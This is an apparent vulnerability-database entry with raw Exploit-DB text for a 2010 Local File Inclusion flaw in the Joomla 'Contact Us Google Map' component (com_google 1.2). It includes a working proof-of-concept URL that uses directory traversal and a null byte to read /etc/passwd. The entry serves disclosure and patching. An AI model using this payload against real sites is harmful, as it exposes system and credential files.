Joomla Component Contact Us Google Map Local File Inclusion Vulnerability

vendor:

com_google

by:

AntiSecurity

8,8

CVSS

HIGH

Local File Inclusion

CWE

Product Name: com_google

Affected Version From: 1.2

Affected Version To: 1.2

Patch Exists: Yes

Related CWE: N/A

CPE: a:joomlacomponent.inetlanka.com:com_google:1.2

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

Joomla Component Contact Us Google Map Local File Inclusion Vulnerability

A Local File Inclusion (LFI) vulnerability exists in the com_google version 1.2 component of Joomla. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable server. This request contains a maliciously crafted parameter which can be used to include arbitrary files from the server. This can be used to gain access to sensitive information such as system files, configuration files, etc.

Mitigation:

The vendor has released a patch to address this vulnerability. It is recommended to apply the patch as soon as possible.

Source

Exploit-DB raw data:

============================================================================================================


  [o] Joomla Component Contact Us Google Map Local File Inclusion Vulnerability
 
       Software : com_google version 1.2
       Vendor   : http://joomlacomponent.inetlanka.com/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_google&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_google&controller=../../../../../../../../../../etc/passwd%00


============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


============================================================================================================


  [o] April 18 2010 - GMT +07:00 Jakarta, Indonesia